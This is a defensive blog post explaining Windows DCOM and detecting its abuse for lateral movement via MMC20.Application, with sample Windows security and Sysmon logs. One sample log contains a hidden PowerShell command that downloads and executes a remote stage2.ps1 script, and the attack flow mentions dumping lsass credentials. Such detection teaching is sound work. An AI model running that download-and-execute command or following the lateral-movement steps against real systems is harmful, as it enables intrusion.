A step-by-step breakdown of how attackers abuse Windows DCOM for lateral movement — and how to detect it
As a SOC Analyst, you may have often found yourself in a situation where you get an alert with a fancy or unknown attack or technique name. In that situation, you Google the attack terms, ask ChatGPT, or discuss it with a senior analyst such as an L3 or Team Lead. However, even seniors don’t know everything — or at least they don’t always remember it, or can’t explain it clearly enough for you to investigate and process the alert for further action.
One of the most common terms you’ll see in alert, offense, and event names is “DCOM” — short for Distributed Component Object Model.
DCOM-related alerts are important because they can be used as a stepping stone for lateral movement attacks.
But you can only investigate and respond to DCOM-related alerts when you clearly understand everything about DCOM — and most importantly, how it can be abused for lateral movement.
So let’s stop talking and dive into how DCOM works.
What is DCOM? And Why Does It Exist?
Before understanding DCOM, we need to understand COM. COM is a mechanism that enables communication and data sharing between two applications running on the same computer. For example, if you are working on a Word document and you want to insert a chart or table from an Excel file, you simply embed it. COM is the technology working in the background that makes this communication between the two applications possible.
DCOM is an extended version of COM. It works the same way, but DCOM extends this communication between applications over a network rather than on a single computer. With DCOM, an application on Computer A can execute a script or program on Computer B.
Now that you have a basic understanding of how it works, let’s go deeper and try to understand the underlying architecture that makes DCOM possible.
How DCOM Works?
DCOM Components
DCOM works through the interaction of several Windows components and services. To understand the underlying DCOM communication system, let’s go through each one.
- Client Application: This is the starting program running on the source computer — such as an administrator’s management tool or a hacker’s script — that initiates a remote connection to execute a command on another machine on the network.
- COM APIs: These are built-in Windows programming interfaces, most notably CoCreateInstanceEx(), that the client application uses to request the operating system to find and launch a program on a remote server.
- Class IDs (CLSID): These are unique 128-bit identification numbers (GUIDs) assigned to every registered Windows component. They act as the exact address that tells the operating system which application or service to launch.
- RPCSS and Endpoint Mapper (rpcss.dll): This is the central routing service that handles remote network requests. Its Endpoint Mapper listens on TCP port 135, verifies permissions, and directs the incoming connection to the correct dynamic high port.
- Service Host (svchost.exe): This is a built-in Windows host process that acts as a container for running background system services — like rpcss.dll — which are built as code libraries and cannot run as standalone files.
- Service Control Manager (services.exe): This is the Windows service manager, running as its own process, responsible for looking up the requested CLSID and launching the target application or service.
The DCOM Workflow
Step 1: The client calls the Windows COM API CoCreateInstanceEx(), passing the Class ID (CLSID) of the target application and the IP address of the target server.
Step 2: The request is handed off to the local RPCSS service, which prepares the network packet.
Step 3: The client connects to the target server over TCP port 135. The RPCSS Endpoint Mapper on the target server accepts the connection.
Step 4: The target server’s RPCSS looks up the requested CLSID in the local registry under HKCR\CLSID and checks whether the requesting user has the necessary permissions.
Step 5: If permissions are cleared, RPCSS signals the Service Control Manager (SCM) to spawn the requested process — for example, WMI (wmiprvse.exe) or MMC (mmc.exe). RPCSS then assigns a dynamic high-numbered TCP port for the rest of the communication and closes the initial port 135 connection.
Step 6: Once the new communication channel is open on the high port, the client executes its commands on the target machine using specific methods like IRemUnknown.
What is the Relation of DCOM with Lateral Movement?
Lateral movement is a technique used by attackers to move across systems in a network for privilege escalation and to reach a target system after the initial compromise of a machine. DCOM, with its ability to execute scripts across systems, is a proven and attractive method of lateral movement.
DCOM can be used by attackers for remote code execution or abuse of native applications. Both are different methods but share a similar mechanism — using Windows DCOM functionality to invoke PowerShell or CMD to execute arbitrary commands, or to invoke built-in features exposed by certain DCOM-enabled applications.
Let’s walk through a simple attack flow for remote code execution via DCOM, resulting in lateral movement from Machine A to Machine B.
Attack Flow of DCOM-Based Lateral Movement
- The attacker first needs to dump credentials from the Local Security Authority Subsystem (lsass.exe) on Machine A. This requires either the NTLM hash or the plaintext password of a domain user account that exists on the target Machine B.
- From Machine A, the attacker initiates a handshake with Machine B over TCP port 135. This RPC request is received by the RPC Endpoint Mapper (rpcss.dll) on Machine B.
- Once authenticated, the attacker requests a COM object by specifying a CLSID. For example, CLSID C085698C-D16F-417A-8851-A263C70D21B6 tells the target system to instantiate MMC20.Application.
- Before the requested application runs, Machine B checks whether the authenticated user account has the necessary permissions to launch or activate the application. Only after successful validation does the system treat the request as a legitimate remotely initiated admin task.
- With the COM object now active, the attacker invokes methods such as ExecuteShellCommand, which is already exposed by the COM object. Note that the attacker does not need to drop any malicious file — they are simply commanding a trusted, signed Windows binary to execute a secondary process.
- When the command is triggered, the requested application — Microsoft Management Console (mmc.exe) — is spawned as a child of svchost.exe, and the attacker’s commands are executed from there.
How to Detect, Investigate & Prevent Lateral Movement via DCOM?
Detection
To detect a lateral movement attempt via DCOM, a behavioral approach is needed where multiple events — representing some or all of the steps in the attack flow above — are correlated together. A simple detection strategy is outlined below:
- Monitor for Event ID 4624 with Logon Type 3, which represents a remote or network logon. This filter alone produces a high number of false positives, but when correlated with the other criteria below, it provides good accuracy.
Mar 14 09:32:17 FINSERV-DC01 Microsoft-Windows-Security-Auditing[652]:
EventID=4624
RecordID=1084923
TimeGenerated=2025-03-14T09:32:17.004821200Z
Channel=Security
Computer=FINSERV-DC01.corp.local
EventType=AUDIT_SUCCESS
SubjectUserSid=S-1-0-0
SubjectUserName=-
SubjectDomainName=-
SubjectLogonId=0x0
LogonType=3
TargetUserSid=S-1-5-21-3472813290-1748223498-2940127341-1105
TargetUserName=john.smith
TargetDomainName=CORP
TargetLogonId=0x7C3A21
LogonProcessName=NtLmSsp
AuthenticationPackageName=NTLM
WorkstationName=WKSTN-042
LogonGuid={00000000-0000-0000-0000-000000000000}
LmPackageName=NTLM V2
KeyLength=128
ProcessId=0x0
ProcessName=-
IpAddress=192.168.10.42
IpPort=49832
ImpersonationLevel=Impersonation
ElevatedToken=Yes
- Look for RPC connections over TCP port 135 between two workstations.
Mar 14 09:32:19 FINSERV-DC01 Microsoft-Windows-Sysmon[1248]:
EventID=3
RecordID=1084927
TimeGenerated=2025-03-14T09:32:19.118372600Z
Channel=Microsoft-Windows-Sysmon/Operational
Computer=FINSERV-DC01.corp.local
EventType=INFO
RuleName=-
UtcTime=2025-03-14 09:32:19.118
ProcessGuid={5f3a8b1c-0d4e-4a72-9c1f-3a7b2e9d4c81}
ProcessId=652
Image=C:\Windows\System32\svchost.exe
User=NT AUTHORITY\NETWORK SERVICE
Protocol=tcp
Initiated=false
SourceIsIpv6=false
SourceIp=192.168.10.42
SourceHostname=WKSTN-042.corp.local
SourcePort=49832
SourcePortName=-
DestinationIsIpv6=false
DestinationIp=10.40.2.10
DestinationHostname=FINSERV-DC01.corp.local
DestinationPort=135
DestinationPortName=epmap
- Identify child processes such as mmc.exe or excel.exe — which are DCOM hosts — spawned under a parent process such as svchost.exe, which acts as the DCOM launcher.
Mar 14 09:32:21 FINSERV-DC01 Microsoft-Windows-Sysmon[1248]:
EventID=1
RecordID=1084931
TimeGenerated=2025-03-14T09:32:21.402915800Z
Channel=Microsoft-Windows-Sysmon/Operational
Computer=FINSERV-DC01.corp.local
EventType=INFO
RuleName=technique_id=T1021.003,technique_name=DCOM
UtcTime=2025-03-14 09:32:21.402
ProcessGuid={9c2e7a4d-1f8b-4c63-8a2d-7e5f9b3c0d64}
ProcessId=4108
Image=C:\Windows\System32\mmc.exe
FileVersion=10.0.19041.1
Description=Microsoft Management Console
Product=Microsoft Windows Operating System
Company=Microsoft Corporation
OriginalFileName=MMC.EXE
CommandLine=C:\Windows\System32\mmc.exe -Embedding
CurrentDirectory=C:\Windows\System32\
User=CORP\john.smith
LogonGuid={00000000-0000-0000-0000-000000000000}
LogonId=0x7C3A21
TerminalSessionId=0
IntegrityLevel=High
Hashes=SHA256=A1B2C3D4E5F60718293A4B5C6D7E8F90112233445566778899AABBCCDDEEFF
ParentProcessGuid={5f3a8b1c-0d4e-4a72-9c1f-3a7b2e9d4c81}
ParentProcessId=652
ParentImage=C:\Windows\System32\svchost.exe
ParentCommandLine=C:\Windows\System32\svchost.exe -k DcomLaunch -p -s DcomLaunch
ParentUser=NT AUTHORITY\NETWORK SERVICE
- Then look for processes such as cmd.exe or powershell.exe spawned as children of those DCOM host processes like mmc.exe or excel.exe.
Mar 14 09:32:24 FINSERV-DC01 Microsoft-Windows-Sysmon[1248]:
EventID=1
RecordID=1084936
TimeGenerated=2025-03-14T09:32:24.665203100Z
Channel=Microsoft-Windows-Sysmon/Operational
Computer=FINSERV-DC01.corp.local
EventType=INFO
RuleName=technique_id=T1059.001,technique_name=PowerShell
UtcTime=2025-03-14 09:32:24.665
ProcessGuid={2e7c5b9f-4a3d-4e91-8b6f-1c9a5d7e8f43}
ProcessId=5236
Image=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileVersion=10.0.19041.1
Description=Windows PowerShell
Product=Microsoft Windows Operating System
Company=Microsoft Corporation
OriginalFileName=PowerShell.EXE
CommandLine=powershell.exe -NoProfile -WindowStyle Hidden -Command “IEX (New-Object Net.WebClient).DownloadString(‘http://10.40.2.10:8080/stage2.ps1’)”
CurrentDirectory=C:\Windows\System32\
User=CORP\john.smith
LogonGuid={00000000-0000-0000-0000-000000000000}
LogonId=0x7C3A21
TerminalSessionId=0
IntegrityLevel=High
Hashes=SHA256=F1E2D3C4B5A6079889706152433425167890ABCDEF1234567890ABCDEF1234
ParentProcessGuid={9c2e7a4d-1f8b-4c63-8a2d-7e5f9b3c0d64}
ParentProcessId=4108
ParentImage=C:\Windows\System32\mmc.exe
ParentCommandLine=C:\Windows\System32\mmc.exe -Embedding
ParentUser=CORP\john.smith
I have developed a correlation rule combining steps 1, 3, and 4. Check it out on my GitHub repository.
Prevention
The prevention approach follows the same logic as the detection strategy. To prevent this type of attack:
- Disable or block communication between workstations by blocking TCP port 135.
- Remove or disable remote activation rights for non-admin users on all servers and workstations.
- Deploy LAPS to prevent the reuse of the same local admin credentials across multiple machines.
DCOM Explained: How Attackers Turn a Windows Feature into a Lateral Movement Tool was originally published in Detect FYI on Medium, where people are continuing the conversation by highlighting and responding to this story.
Introduction to Malware Binary Triage (IMBT) Course
Looking to level up your skills? Get 10% off using coupon code: MWNEWS10 for any flavor.
Enroll Now and Save 10%: Coupon Code MWNEWS10
Note: Affiliate link – your enrollment helps support this platform at no extra cost to you.